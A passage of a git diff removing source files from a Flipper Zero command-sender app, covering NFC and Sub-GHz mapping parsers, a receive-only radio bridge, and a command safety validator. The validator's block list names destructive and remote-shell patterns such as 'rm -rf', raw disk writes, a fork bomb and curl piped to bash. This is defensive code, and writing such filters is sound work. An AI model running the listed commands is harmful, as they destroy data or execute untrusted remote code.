NULL; - for(uint32_t i = 0; i < count; i++) { - if(strcmp(tags[i].uid_hex, uid_hex) == 0) return &tags[i]; - } - return NULL; -} - -// Parse a `{ "tags": [ {"uid": "...", "category_id": "...", "label": "..."}, ... ] }` -// document into `tags`/`count`. Mirrors parse_favorites()'s object-scanning -// approach (find_json_string is a whole-buffer scan, so each object is -// carved out into its own small mini-JSON before extracting its fields). -// Factored out from profile_manager_load_nfc_tags so it can be exercised -// directly against a hand-built buffer in host tests, without going through -// file I/O. -static void parse_nfc_tags(char* json, FlipDeckNfcTag* tags, uint32_t* count) { - *count = 0; - - char* arr_start = strstr(json, "\"tags\""); - if(!arr_start) return; - arr_start = strchr(arr_start, '['); - if(!arr_start) return; - char* arr_end = strchr(arr_start, ']'); - if(!arr_end) return; - - char* pos = arr_start + 1; - while(pos < arr_end && *count < FLIPDECK_MAX_NFC_TAGS) { - char* obj_start = strchr(pos, '{'); - if(!obj_start || obj_start >= arr_end) break; - char* obj_end = strchr(obj_start, '}'); - if(!obj_end || obj_end > arr_end) break; - - char obj_json[160]; - uint32_t obj_len = obj_end - obj_start + 1; - if(obj_len < sizeof(obj_json)) { - strncpy(obj_json, obj_start, obj_len); - obj_json[obj_len] = '\0'; - - // Clear stale data first: find_json_string() leaves its output - // buffer untouched when a key is absent, and this slot may be - // reused across calls (same hazard as profile_manager_load_category). - FlipDeckNfcTag* tag = &tags[*count]; - memset(tag, 0, sizeof(*tag)); - find_json_string(obj_json, "uid", tag->uid_hex, sizeof(tag->uid_hex)); - find_json_string(obj_json, "category_id", tag->category_id, sizeof(tag->category_id)); - find_json_string(obj_json, "label", tag->label, sizeof(tag->label)); - if(tag->uid_hex[0] && tag->category_id[0] && tag->label[0]) { - (*count)++; - } - } - - pos = obj_end + 1; - } - - FURI_LOG_I("FlipDeck", "Loaded %" PRIu32 " NFC tag mappings", *count); -} - -bool profile_manager_load_nfc_tags(FlipDeckNfcTag* tags, uint32_t* count) { - *count = 0; - - // Static: same reasoning as load_category's buffer - a few KB local - // would eat too much of the 4096-byte FAP stack. - static char buffer[2048]; - if(!read_text_file(NFC_TAGS_PATH, buffer, sizeof(buffer))) { - FURI_LOG_W("FlipDeck", "No NFC tags file found"); - return false; - } - - parse_nfc_tags(buffer, tags, count); - return true; -} - -bool profile_manager_save_nfc_tags(const FlipDeckNfcTag* tags, uint32_t count) { - if(!tags && count > 0) return false; - - // Static for the same reason as save_category/save_settings. - static char json[2560]; - uint32_t offset = 0; - offset += snprintf(json + offset, sizeof(json) - offset, "{\n \"tags\": [\n"); - - for(uint32_t i = 0; i < count && offset < sizeof(json) - 96; i++) { - offset += snprintf(json + offset, sizeof(json) - offset, - " {\"uid\": \"%s\", \"category_id\": \"%s\", \"label\": \"%s\"}%s\n", - tags[i].uid_hex, - tags[i].category_id, - tags[i].label, - (i < count - 1) ? "," : ""); - } - offset += snprintf(json + offset, sizeof(json) - offset, " ]\n}\n"); - - if(!write_text_file(NFC_TAGS_PATH, json)) { - FURI_LOG_E("FlipDeck", "Failed to open NFC tags file for writing"); - return false; - } - - FURI_LOG_I("FlipDeck", "Saved %" PRIu32 " NFC tag mappings", count); - return true; -} - -bool profile_manager_hash_subghz_signature(const char* text, char* out, size_t out_size) { - if(!text || !out) return false; - if(out_size < FLIPDECK_SUBGHZ_SIG_HEX_LEN) return false; - - // FNV-1a, 64-bit. - uint64_t hash = 0xcbf29ce484222325ULL; - for(const unsigned char* p = (const unsigned char*)text; *p; p++) { - hash ^= *p; - hash *= 0x100000001b3ULL; - } - - static const char hex_digits[] = "0123456789ABCDEF"; - for(int i = 0; i < 16; i++) { - int shift = (15 - i) * 4; - out[i] = hex_digits[(hash >> shift) & 0xF]; - } - out[16] = '\0'; - return true; -} - -const FlipDeckSubghzRemote* profile_manager_find_subghz_remote( - const FlipDeckSubghzRemote* remotes, - uint32_t count, - const char* signature_hex) { - if(!remotes || !signature_hex) return NULL; - for(uint32_t i = 0; i < count; i++) { - if(strcmp(remotes[i].signature_hex, signature_hex) == 0) return &remotes[i]; - } - return NULL; -} - -// Parse a `{ "remotes": [ {"signature": "...", "category_id": "...", "label": "..."}, ... ] }` -// document into `remotes`/`count`. Mirrors parse_nfc_tags() exactly - same -// object-scanning approach, factored out so it can be exercised directly -// against a hand-built buffer in host tests, without going through file I/O. -static void parse_subghz_remotes(char* json, FlipDeckSubghzRemote* remotes, uint32_t* count) { - *count = 0; - - char* arr_start = strstr(json, "\"remotes\""); - if(!arr_start) return; - arr_start = strchr(arr_start, '['); - if(!arr_start) return; - char* arr_end = strchr(arr_start, ']'); - if(!arr_end) return; - - char* pos = arr_start + 1; - while(pos < arr_end && *count < FLIPDECK_MAX_SUBGHZ_REMOTES) { - char* obj_start = strchr(pos, '{'); - if(!obj_start || obj_start >= arr_end) break; - char* obj_end = strchr(obj_start, '}'); - if(!obj_end || obj_end > arr_end) break; - - char obj_json[160]; - uint32_t obj_len = obj_end - obj_start + 1; - if(obj_len < sizeof(obj_json)) { - strncpy(obj_json, obj_start, obj_len); - obj_json[obj_len] = '\0'; - - // Clear stale data first: find_json_string() leaves its output - // buffer untouched when a key is absent, and this slot may be - // reused across calls (same hazard as parse_nfc_tags's fix). - FlipDeckSubghzRemote* remote = &remotes[*count]; - memset(remote, 0, sizeof(*remote)); - find_json_string(obj_json, "signature", remote->signature_hex, sizeof(remote->signature_hex)); - find_json_string(obj_json, "category_id", remote->category_id, sizeof(remote->category_id)); - find_json_string(obj_json, "label", remote->label, sizeof(remote->label)); - if(remote->signature_hex[0] && remote->category_id[0] && remote->label[0]) { - (*count)++; - } - } - - pos = obj_end + 1; - } - - FURI_LOG_I("FlipDeck", "Loaded %" PRIu32 " Sub-GHz remote mappings", *count); -} - -bool profile_manager_load_subghz_remotes(FlipDeckSubghzRemote* remotes, uint32_t* count) { - *count = 0; - - // Static: same reasoning as load_category's buffer - a few KB local - // would eat too much of the 4096-byte FAP stack. - static char buffer[2048]; - if(!read_text_file(SUBGHZ_REMOTES_PATH, buffer, sizeof(buffer))) { - FURI_LOG_W("FlipDeck", "No Sub-GHz remotes file found"); - return false; - } - - parse_subghz_remotes(buffer, remotes, count); - return true; -} - -bool profile_manager_save_subghz_remotes(const FlipDeckSubghzRemote* remotes, uint32_t count) { - if(!remotes && count > 0) return false; - - // Static for the same reason as save_nfc_tags's buffer. - static char json[2560]; - uint32_t offset = 0; - offset += snprintf(json + offset, sizeof(json) - offset, "{\n \"remotes\": [\n"); - - for(uint32_t i = 0; i < count && offset < sizeof(json) - 96; i++) { - offset += snprintf(json + offset, sizeof(json) - offset, - " {\"signature\": \"%s\", \"category_id\": \"%s\", \"label\": \"%s\"}%s\n", - remotes[i].signature_hex, - remotes[i].category_id, - remotes[i].label, - (i < count - 1) ? "," : ""); - } - offset += snprintf(json + offset, sizeof(json) - offset, " ]\n}\n"); - - if(!write_text_file(SUBGHZ_REMOTES_PATH, json)) { - FURI_LOG_E("FlipDeck", "Failed to open Sub-GHz remotes file for writing"); - return false; - } - - FURI_LOG_I("FlipDeck", "Saved %" PRIu32 " Sub-GHz remote mappings", count); - return true; -} - -/** - * @brief Check if value contains potentially dangerous commands - * @param value Command string to check - * @return true if value is safe - */ -/** - * @brief Case-folded substring match where each space in `pattern` matches - * one or more whitespace characters in `haystack`. - * - * Mirrors the `\s+` / `\s*` usage in safety-rules.json so on-device blocking - * catches the same spacing variants the web/desktop auditors reject - * (e.g. `rm -rf`, `dd\tif=`, `> /dev/sda`). - */ -static bool contains_flexible_ws(const char* haystack, const char* pattern) { - if(!haystack || !pattern || !*pattern) return false; - - for(const char* start = haystack; *start; start++) { - const char* h = start; - const char* p = pattern; - bool matched = true; - - while(*p) { - if(*p == ' ') { - if(!isspace((unsigned char)*h)) { - matched = false; - break; - } - while(isspace((unsigned char)*h)) h++; - p++; - continue; - } - if(*h != *p) { - matched = false; - break; - } - h++; - p++; - } - - if(matched) return true; - } - - return false; -} - -/** - * @brief True when haystack contains `|` followed by optional whitespace and - * then a whole-token match of `token` (already uppercased), approximating - * `\\|\\s*(sh|bash)`. Requires a non-alnum boundary after the token so - * `|BASH` does not spuriously match the `SH` token. - */ -static bool contains_pipe_token(const char* haystack, const char* token) { - size_t token_len = strlen(token); - for(const char* p = haystack; *p; p++) { - if(*p != '|') continue; - p++; - while(isspace((unsigned char)*p)) p++; - if(strncmp(p, token, token_len) == 0) { - char next = p[token_len]; - if(next == '\0' || !isalnum((unsigned char)next)) return true; - } - if(!*p) break; - } - return false; -} - -bool profile_manager_is_value_safe(const char* value) { - if(!value) return false; - - // Uppercase copy so every pattern is matched case-insensitively, mirroring - // the canonical safety-rules.json (every rule uses the 'i' flag). Keep this - // function's blocking behavior in sync with that file: only "critical" - // severities block; "warning" severities are logged but allowed. - char upper_value[FLIPDECK_MAX_COMMAND_LENGTH]; - uint32_t len = 0; - for(; value[len] && len < sizeof(upper_value) - 1; len++) { - upper_value[len] = toupper((unsigned char)value[len]); - } - upper_value[len] = '\0'; - - // Critical patterns — block the command. Spaces in these patterns match - // one-or-more whitespace (see contains_flexible_ws), matching the - // `rm\s+-rf` / `dd\s+if=` / `>\s*/dev/sd` rules in safety-rules.json. - const char* critical_patterns[] = { - "RM -RF", // Recursive delete (rm\s+-rf) - "MKFS", // Format filesystem - "DD IF=", // Raw disk write (dd\s+if=) - "> /DEV/SD", // Raw disk redirect with whitespace (>\s+/dev/sd) - ">/DEV/SD", // Raw disk redirect with no whitespace (>\s*/dev/sd) - NULL - }; - for(int i = 0; critical_patterns[i]; i++) { - if(contains_flexible_ws(upper_value, critical_patterns[i])) { - FURI_LOG_W("FlipDeck", "Blocked critical command: %s", critical_patterns[i]); - return false; - } - } - - // Fork bomb: allow flexible whitespace around the classic shape. - if(strstr(upper_value, ":(){") && strstr(upper_value, ":|:&")) { - FURI_LOG_W("FlipDeck", "Blocked critical command: fork bomb"); - return false; - } - - // Remote shell pipe: (curl|wget) ... | (sh|bash). Approximates the regex - // "(curl|wget).*\\|\\s*(sh|bash)" — catches real one-liners like - // "curl -fsSL https://x | bash" that a literal "curl | sh" match misses. - bool has_fetch = strstr(upper_value, "CURL") || strstr(upper_value, "WGET"); - bool has_pipe_shell = - contains_pipe_token(upper_value, "SH") || contains_pipe_token(upper_value, "BASH"); - if(has_fetch && has_pipe_shell) { - FURI_LOG_W("FlipDeck", "Blocked remote shell pipe"); - return false; - } - - // Warning patterns — surfaced in the log but allowed (the user still has to - // confirm OK on-device before the command is sent). - if(strstr(upper_value, "SUDO")) { - FURI_LOG_W("FlipDeck", "Warning: command matched SUDO"); - } - if(contains_flexible_ws(upper_value, "CHMOD 777")) { - FURI_LOG_W("FlipDeck", "Warning: command matched CHMOD 777"); - } - if(contains_flexible_ws(upper_value, "CHOWN ROOT")) { - FURI_LOG_W("FlipDeck", "Warning: command matched CHOWN ROOT"); - } - - // Credential assignments (NAME=...) — warn only. Allow whitespace around '=' - // to mirror `(PASSWORD|...)\\s*=` in safety-rules.json. - const char* credential_patterns[] = { - "PASSWORD", "TOKEN", "API_KEY", "SECRET", "PRIVATE_KEY", NULL - }; - for(int i = 0; credential_patterns[i]; i++) { - const char* hit = strstr(upper_value, credential_patterns[i]); - if(!hit) continue; - const char* after = hit + strlen(credential_patterns[i]); - while(isspace((unsigned char)*after)) after++; - if(*after == '=') { - FURI_LOG_W("FlipDeck", "Warning: possible credential assignment"); - break; - } - } - - return true; -} - -/** - * @brief Validate action for safety before sending - * @param action Action to validate - * @return true if action is safe to send - */ -bool profile_manager_validate_action(FlipDeckAction* action) { - if(!action) return false; - - // Key actions are generally safe (navigation keys, etc.) - if(action->type == FlipDeckActionType_Key || - action->type == FlipDeckActionType_KeyCombo) { - return true; - } - - // Text actions need validation - if(action->type == FlipDeckActionType_Text) { - return profile_manager_is_value_safe(action->value); - } - - return false; -} diff --git a/src/profile_manager.h b/src/profile_manager.h deleted file mode 100644 index 95faba3..0000000 --- a/src/profile_manager.h +++ /dev/null @@ -1,270 +0,0 @@ -/** - * @file profile_manager.h - * @brief Profile management for FlipDeck - */ - -#ifndef PROFILE_MANAGER_H -#define PROFILE_MANAGER_H - -#include "flipdeck_app.h" -#include - -#ifdef UFBT_HOST_BUILD -/* Host test build - include stubs */ -#include "tests/host/stubs/furi.h" -#endif - -// Maximum number of profile categories -#define FLIPDECK_MAX_CATEGORIES 10 -#define FLIPDECK_MAX_ACTIONS_PER_CATEGORY 20 - -// Maximum number of NFC tag -> action mappings, and the buffer size for a -// hex-encoded UID (ISO14443 UIDs are 4, 7, or 10 bytes -> up to 20 hex chars). -#define FLIPDECK_MAX_NFC_TAGS 16 -#define FLIPDECK_NFC_UID_HEX_LEN 21 - -/** - * @brief A single NFC tag -> action mapping. References the action by - * (category_id, label) rather than duplicating it, same as FlipDeckFavorite, - * so the action is always re-read fresh from its category file. - */ -typedef struct { - char uid_hex[FLIPDECK_NFC_UID_HEX_LEN]; - char category_id[32]; - char label[64]; -} FlipDeckNfcTag; - -// Maximum number of Sub-GHz remote -> action mappings, and the buffer size -// for a hashed signature (64-bit FNV-1a -> 16 hex chars + NUL). -#define FLIPDECK_MAX_SUBGHZ_REMOTES 16 -#define FLIPDECK_SUBGHZ_SIG_HEX_LEN 17 - -/** - * @brief A single Sub-GHz remote button -> action mapping. References the - * action by (category_id, label), same as FlipDeckNfcTag/FlipDeckFavorite. - * The key is a hash of the decoded protocol string - * (subghz_protocol_decoder_base_get_string()), not the raw string - see - * profile_manager_hash_subghz_signature() for why. - */ -typedef struct { - char signature_hex[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - char category_id[32]; - char label[64]; -} FlipDeckSubghzRemote; - -/** Action types for profiles */ -typedef enum { - FlipDeckActionType_Text, - FlipDeckActionType_Key, - FlipDeckActionType_KeyCombo, -} FlipDeckActionType; - -/** Destination for an action's output */ -typedef enum { - FlipDeckActionTarget_Usb, - FlipDeckActionTarget_WifiUart, -} FlipDeckActionTarget; - -/** - * @brief Single action within a profile - */ -typedef struct { - char label[64]; - FlipDeckActionType type; - char value[FLIPDECK_MAX_COMMAND_LENGTH]; - bool confirm; - FlipDeckActionTarget target; - uint32_t delay_ms; -} FlipDeckAction; - -/** - * @brief Profile category (group of related actions) - */ -typedef struct { - char id[32]; - char name[64]; - char description[128]; - char category[24]; - char icon[16]; - uint32_t action_count; - FlipDeckAction actions[FLIPDECK_MAX_ACTIONS_PER_CATEGORY]; -} FlipDeckProfileCategory; - -/** - * @brief Load all profile categories from SD card - * @param categories Array to store categories - * @param count Pointer to store number of categories loaded - * @return true if profiles were found and loaded - */ -bool profile_manager_load_all_categories(FlipDeckProfileCategory* categories, uint32_t* count); - -/** - * @brief Load a single profile category from JSON - * @param category_id The category ID (e.g., "git", "node") - * @param category Pointer to store loaded category - * @return true if loaded successfully - */ -bool profile_manager_load_category(const char* category_id, FlipDeckProfileCategory* category); - -/** - * @brief Save a profile category to SD card (as JSON) - * @param category Pointer to category data - * @return true if saved successfully - */ -bool profile_manager_save_category(FlipDeckProfileCategory* category); - -/** - * @brief Get list of available category files - * @param category_ids Array to store category IDs - * @param count Pointer to store number of categories - * @return true if categories found - */ -bool profile_manager_list_categories(char category_ids[][32], uint32_t* count); - -/** - * @brief Load settings from SD card - * @param settings Pointer to settings structure - * @return true if loaded successfully - */ -bool profile_manager_load_settings(FlipDeckSettings* settings); - -/** - * @brief Save settings to SD card - * @param settings Pointer to settings structure - * @return true if saved successfully - */ -bool profile_manager_save_settings(FlipDeckSettings* settings); - -/** - * @brief Validate action for safety before sending - * @param action Action to validate - * @return true if action is safe to send - */ -bool profile_manager_validate_action(FlipDeckAction* action); - -/** - * @brief Check whether (category_id, label) is currently favorited - * @return true if a matching favorite exists in settings->favorites - */ -bool profile_manager_is_favorite( - const FlipDeckSettings* settings, - const char* category_id, - const char* label); - -/** - * @brief Add or remove (category_id, label) from settings->favorites in place - * @return true if the action is favorited after the toggle, false if it was - * removed, or if it wasn't present and there was no room to add it - * (favorite_count already at FLIPDECK_MAX_FAVORITES) - */ -bool profile_manager_toggle_favorite( - FlipDeckSettings* settings, - const char* category_id, - const char* label); - -/** - * @brief Load NFC tag -> action mappings from nfc_tags.json - * @param tags Array to store mappings (capacity FLIPDECK_MAX_NFC_TAGS) - * @param count Pointer to store number of mappings loaded - * @return true if the file existed and was read (even if it had zero tags) - */ -bool profile_manager_load_nfc_tags(FlipDeckNfcTag* tags, uint32_t* count); - -/** - * @brief Save NFC tag -> action mappings to nfc_tags.json - * @param tags Array of mappings to save - * @param count Number of mappings in the array - * @return true if saved successfully - */ -bool profile_manager_save_nfc_tags(const FlipDeckNfcTag* tags, uint32_t count); - -/** - * @brief Find the mapping for a given UID, if any - * @param tags Array of loaded mappings - * @param count Number of mappings in the array - * @param uid_hex Uppercase hex UID to look up - * @return Pointer to the matching entry within `tags`, or NULL if not found - */ -const FlipDeckNfcTag* profile_manager_find_nfc_tag( - const FlipDeckNfcTag* tags, - uint32_t count, - const char* uid_hex); - -/** - * @brief Hex-encode a raw UID into an uppercase string (e.g. {0x04,0xA1} -> "04A1") - * @param uid Raw UID bytes - * @param uid_len Number of bytes in uid - * @param out Output buffer - * @param out_size Size of out; must be at least uid_len*2 + 1 - * @return true on success, false if out_size is too small or args are NULL - */ -bool profile_manager_hex_encode_uid( - const uint8_t* uid, - size_t uid_len, - char* out, - size_t out_size); - -/** - * @brief Load Sub-GHz remote -> action mappings from subghz_remotes.json - * @param remotes Array to store mappings (capacity FLIPDECK_MAX_SUBGHZ_REMOTES) - * @param count Pointer to store number of mappings loaded - * @return true if the file existed and was read (even if it had zero remotes) - */ -bool profile_manager_load_subghz_remotes(FlipDeckSubghzRemote* remotes, uint32_t* count); - -/** - * @brief Save Sub-GHz remote -> action mappings to subghz_remotes.json - * @param remotes Array of mappings to save - * @param count Number of mappings in the array - * @return true if saved successfully - */ -bool profile_manager_save_subghz_remotes(const FlipDeckSubghzRemote* remotes, uint32_t count); - -/** - * @brief Find the mapping for a given signature, if any - * @param remotes Array of loaded mappings - * @param count Number of mappings in the array - * @param signature_hex Hex signature to look up - * @return Pointer to the matching entry within `remotes`, or NULL if not found - */ -const FlipDeckSubghzRemote* profile_manager_find_subghz_remote( - const FlipDeckSubghzRemote* remotes, - uint32_t count, - const char* signature_hex); - -/** - * @brief Hash a decoded Sub-GHz protocol string into a fixed-width uppercase - * hex fingerprint (64-bit FNV-1a). Fixed-code remotes produce byte-identical - * decoded text on every press, so this hash is stable across presses; - * rolling-code remotes produce different text each press, so the hash - * naturally never repeats and such remotes simply never re-match (see - * docs/subghz_trigger_spec.md). - * @param text Decoded protocol string (from subghz_protocol_decoder_base_get_string) - * @param out Output buffer - * @param out_size Size of out; must be at least FLIPDECK_SUBGHZ_SIG_HEX_LEN - * @return true on success, false if text or out is NULL, or out_size is too small - */ -bool profile_manager_hash_subghz_signature(const char* text, char* out, size_t out_size); - -/** - * @brief Check if value contains potentially dangerous commands - * @param value Command string to check - * @return true if value is safe - */ -bool profile_manager_is_value_safe(const char* value); - -/** - * @brief Parse the "type" field of an action's JSON object - * @param json Mini JSON object for a single action - * @return Parsed action type, defaulting to FlipDeckActionType_Text - */ -FlipDeckActionType parse_action_type(char* json); - -/** - * @brief Parse the "target" field of an action's JSON object - * @param json Mini JSON object for a single action - * @return Parsed action target, defaulting to FlipDeckActionTarget_Usb - */ -FlipDeckActionTarget parse_action_target(char* json); - -#endif // PROFILE_MANAGER_H \ No newline at end of file diff --git a/src/settings.c b/src/settings.c deleted file mode 100644 index 9d15f56..0000000 --- a/src/settings.c +++ /dev/null @@ -1,30 +0,0 @@ -/** - * @file settings.c - * @brief Settings implementation for JSON-based storage - */ - -#include "settings.h" -#include "profile_manager.h" -#include -#include - -// Settings are now managed by profile_manager.c using JSON format -// This file provides backward compatibility wrappers - -bool settings_load(FlipDeckSettings* settings) { - return profile_manager_load_settings(settings); -} - -bool settings_save(FlipDeckSettings* settings) { - return profile_manager_save_settings(settings); -} - -void settings_reset_to_defaults(FlipDeckSettings* settings) { - settings->send_delay_ms = 100; - settings->confirm_before_send = true; - settings->auto_detect_usb = true; - settings->show_icons = true; - settings->show_descriptions = true; - settings->startup_category[0] = '\0'; - settings->long_snippet_warn_state = 0; -} diff --git a/src/settings.h b/src/settings.h deleted file mode 100644 index b4e7fb0..0000000 --- a/src/settings.h +++ /dev/null @@ -1,31 +0,0 @@ -/** - * @file settings.h - * @brief Settings management for FlipDeck - */ - -#ifndef SETTINGS_H -#define SETTINGS_H - -#include "flipdeck_app.h" - -/** - * @brief Load settings from storage - * @param settings Settings structure to populate - * @return true if loaded successfully - */ -bool settings_load(FlipDeckSettings* settings); - -/** - * @brief Save settings to storage - * @param settings Settings to save - * @return true if saved successfully - */ -bool settings_save(FlipDeckSettings* settings); - -/** - * @brief Reset settings to defaults - * @param settings Settings structure to populate - */ -void settings_reset_to_defaults(FlipDeckSettings* settings); - -#endif // SETTINGS_H diff --git a/src/subghz_bridge.c b/src/subghz_bridge.c deleted file mode 100644 index 464b4d4..0000000 --- a/src/subghz_bridge.c +++ /dev/null @@ -1,239 +0,0 @@ -/** - * @file subghz_bridge.c - * @brief Sub-GHz remote/keyfob scanning bridge implementation - * - * ############################################################################ - * # VERIFIED AGAINST REAL FIRMWARE HEADERS AND A REAL REFERENCE - * # IMPLEMENTATION, NOT AGAINST REAL FIRMWARE - * # - * # There is no fbt/ufbt toolchain available in this environment (its SDK - * # download is blocked by network policy), so this could not go through a - * # real build. As a substitute: every function/struct/macro this file uses - * # was fetched live from flipperdevices/flipperzero-firmware (dev branch) - * # and syntax/type-checked with gcc -fsyntax-only -Wall -Wextra -Wpedantic - * # against those real headers - not guessed. Beyond that, the *sequence* - * # of calls below (reset/idle/load-preset/set-frequency -> environment+ - * # receiver+worker wiring -> start -> stop) mirrors, nearly line for line, - * # applications/main/subghz/helpers/subghz_txrx.c - the official Sub-GHz - * # app's own internal helper for doing exactly this (that file goes - * # through the newer subghz_devices_* abstraction instead of - * # furi_hal_subghz_* directly; see the note below this header for why this - * # file deliberately doesn't). That file is private to that app (not - * # includable from an external .fap), so it could not be reused directly, - * # but its logic was read in full and this file's control flow - * # deliberately matches it rather than improvising a new sequence. - * # - * # RECEIVE ONLY - deliberately, structurally, not just "not implemented - * # yet". No furi_hal_subghz_start_async_tx / _set_tx call appears anywhere - * # below. This means: (a) no regional TX power/frequency regulation - * # applies, because nothing is ever transmitted; (b) this file cannot be - * # used to replay or clone a signal against a garage door, gate, or car, - * # even by accident, because replay requires transmission and this bridge - * # has no transmit code path to repurpose. - * # - * # Binding uses the full/default protocol registry (subghz_protocol_ - * # registry) and matches on exact-string equality of the decoded protocol - * # text. Fixed-code remotes (common cheap doorbells, garage/gate remotes, - * # RF relay switches) decode to byte-identical text on every press and - * # bind reliably. Rolling-code remotes (many modern car/garage keyfobs) - * # decode to DIFFERENT text every press by design, so they simply never - * # re-match after the first bind - this is the correct, safe failure mode, - * # not a bug: a design that could match/replay a rolling code would be a - * # real security problem, and this one structurally cannot. - * # - * # What is NOT covered by the header/reference-source check above: linking - * # against the real compiled library (application.fam's fap_libs question, - * # see that file's comment - this is a materially bigger open risk than - * # NFC's equivalent turned out to be), runtime timing/threading behavior, - * # and whether this specific device's firmware build differs from the - * # fetched dev-branch snapshot. Build and flash this on real hardware - * # before trusting it end-to-end. - * ############################################################################ - */ - -#include "subghz_bridge.h" -#include "profile_manager.h" -#include -#include - -#ifndef UFBT_HOST_BUILD -#include -#include -#include -#include -#include -#include -#include - -// Deliberately uses furi_hal_subghz_* (the direct HAL for the Flipper's -// built-in CC1101) rather than the newer subghz_devices_* abstraction layer -// real firmware app code goes through. subghz_devices_* exists to support -// pluggable external CC1101 modules, which pulls in the firmware's ELF -// plugin-loader subsystem (lib/subghz/devices/types.h -> -// lib/flipper_application/...) as a transitive dependency - real -// complexity this feature doesn't need, since it only ever targets the -// built-in radio. furi_hal_subghz_* is the lower layer subghz_devices_* -// itself calls into for the internal radio, so this is not a shortcut -// around anything, just skipping an abstraction layer that has nothing to -// offer a fixed-hardware, RX-only, internal-radio-only use case. - -#define SUBGHZ_BRIDGE_FREQUENCY 433920000UL - -static SubGhzEnvironment* subghz_environment_handle = NULL; -static SubGhzReceiver* subghz_receiver_handle = NULL; -static SubGhzWorker* subghz_worker_handle = NULL; -static FuriMutex* subghz_bridge_mutex = NULL; -static bool subghz_hal_ready = false; -static char pending_signature_hex[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; -static bool pending_signature_ready = false; - -static void subghz_bridge_free_session(void) { - if(subghz_worker_handle) { - if(subghz_worker_is_running(subghz_worker_handle)) { - subghz_worker_stop(subghz_worker_handle); - furi_hal_subghz_stop_async_rx(); - } - subghz_worker_free(subghz_worker_handle); - subghz_worker_handle = NULL; - } - if(subghz_receiver_handle) { - subghz_receiver_free(subghz_receiver_handle); - subghz_receiver_handle = NULL; - } - if(subghz_hal_ready) { - furi_hal_subghz_idle(); - } -} - -// Runs on the Sub-GHz worker thread when a protocol decoder in the registry -// fully matches a received signal. Hashes the decoded text and latches it -// behind the mutex for subghz_bridge_poll_signal() to pick up on the main -// thread - same pattern as nfc_bridge_poller_callback's pending_uid_hex. -static void subghz_bridge_receiver_callback( - SubGhzReceiver* receiver, - SubGhzProtocolDecoderBase* decoder_base, - void* context) { - UNUSED(receiver); - UNUSED(context); - - FuriString* text = furi_string_alloc(); - if(subghz_protocol_decoder_base_get_string(decoder_base, text)) { - char signature_hex[FLIPDECK_SUBGHZ_SIG_HEX_LEN]; - if(profile_manager_hash_subghz_signature( - furi_string_get_cstr(text), signature_hex, sizeof(signature_hex))) { - furi_mutex_acquire(subghz_bridge_mutex, FuriWaitForever); - strncpy(pending_signature_hex, signature_hex, sizeof(pending_signature_hex) - 1); - pending_signature_hex[sizeof(pending_signature_hex) - 1] = '\0'; - pending_signature_ready = true; - furi_mutex_release(subghz_bridge_mutex); - } - } - furi_string_free(text); -} - -bool subghz_bridge_init(void) { - subghz_bridge_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!subghz_bridge_mutex) return false; - - furi_hal_subghz_init(); - subghz_hal_ready = true; - - subghz_environment_handle = subghz_environment_alloc(); - subghz_environment_set_protocol_registry(subghz_environment_handle, &subghz_protocol_registry); - - return true; -} - -void subghz_bridge_deinit(void) { - subghz_bridge_stop_scan(); - - if(subghz_bridge_mutex) { - furi_mutex_free(subghz_bridge_mutex); - subghz_bridge_mutex = NULL; - } - if(subghz_environment_handle) { - subghz_environment_free(subghz_environment_handle); - subghz_environment_handle = NULL; - } - if(subghz_hal_ready) { - furi_hal_subghz_sleep(); - subghz_hal_ready = false; - } -} - -void subghz_bridge_start_scan(void) { - if(subghz_worker_handle || subghz_receiver_handle) return; // already scanning - if(!subghz_hal_ready || !subghz_environment_handle) return; - if(!furi_hal_subghz_is_frequency_valid(SUBGHZ_BRIDGE_FREQUENCY)) return; - - furi_mutex_acquire(subghz_bridge_mutex, FuriWaitForever); - pending_signature_ready = false; - furi_mutex_release(subghz_bridge_mutex); - - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_hal_subghz_load_custom_preset((uint8_t*)subghz_device_cc1101_preset_ook_650khz_async_regs); - furi_hal_subghz_set_frequency(SUBGHZ_BRIDGE_FREQUENCY); - furi_hal_subghz_flush_rx(); - - subghz_receiver_handle = subghz_receiver_alloc_init(subghz_environment_handle); - subghz_receiver_set_rx_callback(subghz_receiver_handle, subghz_bridge_receiver_callback, NULL); - - subghz_worker_handle = subghz_worker_alloc(); - // Cast subghz_receiver_reset/subghz_receiver_decode directly to the - // worker's callback types, exactly as the real firmware's own - // subghz_txrx.c helper does - the worker passes its context (set to - // subghz_receiver_handle below) as the callback's leading - // void*/SubGhzReceiver* argument, and the two pointer types are - // ABI-compatible. - subghz_worker_set_overrun_callback( - subghz_worker_handle, (SubGhzWorkerOverrunCallback)subghz_receiver_reset); - subghz_worker_set_pair_callback( - subghz_worker_handle, (SubGhzWorkerPairCallback)subghz_receiver_decode); - subghz_worker_set_context(subghz_worker_handle, subghz_receiver_handle); - - furi_hal_subghz_start_async_rx(subghz_worker_rx_callback, subghz_worker_handle); - subghz_worker_start(subghz_worker_handle); -} - -void subghz_bridge_stop_scan(void) { - subghz_bridge_free_session(); -} - -bool subghz_bridge_poll_signal(char* signature_hex_out, size_t out_size) { - bool ready = false; - - furi_mutex_acquire(subghz_bridge_mutex, FuriWaitForever); - if(pending_signature_ready) { - strncpy(signature_hex_out, pending_signature_hex, out_size - 1); - signature_hex_out[out_size - 1] = '\0'; - pending_signature_ready = false; - ready = true; - } - furi_mutex_release(subghz_bridge_mutex); - - if(ready) subghz_bridge_stop_scan(); - return ready; -} - -#else /* UFBT_HOST_BUILD */ - -// This file is hardware-only and isn't part of the host test build (see -// tests/host/Makefile), but stubs are provided so nothing breaks if a future -// host target ever pulls it in. -bool subghz_bridge_init(void) { - return false; -} -void subghz_bridge_deinit(void) { -} -void subghz_bridge_start_scan(void) { -} -void subghz_bridge_stop_scan(void) { -} -bool subghz_bridge_poll_signal(char* signature_hex_out, size_t out_size) { - UNUSED(signature_hex_out); - UNUSED(out_size); - return false; -} - -#endif diff --git a/src/subghz_bridge.h b/src/subghz_bridge.h deleted file mode 100644 index ceb9cbf..0000000 --- a/src/subghz_bridge.h +++ /dev/null @@ -1,63 +0,0 @@ -/** - * @file subghz_bridge.h - * @brief Sub-GHz (433MHz) remote/keyfob scanning bridge for FlipDeck - * - * Mirrors nfc_bridge.h's shape: isolates the hardware-specific Sub-GHz calls - * behind a small interface so flipdeck_ui.c never touches SubGhz or - * FuriHalSubGhz types directly. - * - * RECEIVE ONLY. This module never transmits — see subghz_bridge.c's file - * 